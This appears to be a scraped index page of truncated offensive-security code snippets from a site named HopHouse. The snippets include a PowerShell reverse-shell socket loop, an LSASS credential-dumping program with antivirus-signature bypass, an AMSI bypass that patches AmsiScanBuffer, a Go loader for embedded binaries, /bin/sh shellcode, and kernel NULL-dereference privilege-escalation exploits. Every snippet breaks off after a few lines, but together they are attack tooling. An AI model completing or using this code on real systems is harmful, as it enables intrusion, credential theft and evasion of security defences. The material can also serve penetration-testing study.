HopHouse

# Associated blog post : https://blog.hophouse.fr/_posts/CheckResetPasswordRights.html
function Get-ADAllUserGroupMembership {
    <#
    .SYNOPSIS
    Recursively retrieve all the groups where a specified group belongs to.
    
    .EXAMPLE
    PS> Get-ADAllUserGroupMembership -Server 10.10.10.10 -GroupName custom_admin

    .PARAMETER Server

HopHouse

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 443);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

HopHouse

package main

/*
Example Go program with multiple .NET Binaries embedded

This requires packr (https://github.com/gobuffalo/packr) and the utility. Install with:
	$ GOOS=windows  go get -u github.com/gobuffalo/packr/packr

Place all your EXEs are in a "binaries" folder

HopHouse

/*
 * Took from https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
 */
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;

HopHouse

public static string run()
{
  IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll
  if (dllHandle == null) return "error";

  //Get the AmsiScanBuffer function address
  IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer");
  if (AmsiScanbufferAddr == null) return "error";

  IntPtr OldProtection = Marshal.AllocHGlobal(4); //pointer to store the current AmsiScanBuffer memory protection

HopHouse

#!/bin/bash

# Edit /etc/pam.d/sshd and put the following line:
# session optional pam_exec.so /root/telegram.sh

USERID="<USER ID>"
KEY="<KEY>"
TIMEOUT="10"
URL="https://api.telegram.org/bot$KEY/sendMessage"
DATE_EXEC="$(date "+%d %b %Y %H:%M")" #Collect date & time.

HopHouse

.data

sh:
.asciz "//bin/sh"

result:
.word 0x00000000

.text
.global _start

HopHouse

#include <stdio.h>                                                                                                 
#include <stdlib.h>                                                                                                
#include <unistd.h>                                                                                                
                                                                                                                   
#include <sys/mman.h>                                                                                              
#include <sys/types.h>                                                                                             
#include <fcntl.h>                                                                                                 
                                                                                                                   
void get_shell() {                                                                              

HopHouse

/*
 * Rouvès Quentin - rouves.quentin@hotmail.fr
 * Exploit NULL Dereference kernel module
 * Exec: gcc exploit.c -static -m32 -o exploit 
 */

#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

HopHouse

#include <sys/types.h>                                                                    
#include <stdio.h>                                                                        
#include <sys/stat.h>                                                                     
#include <fcntl.h>                                                                        
#include <sys/mman.h>                                                                     
#include <string.h>                                                                       
                                                                                          
// commit cred: c1070e80                                                                  
// prepare kernel cred c10711f0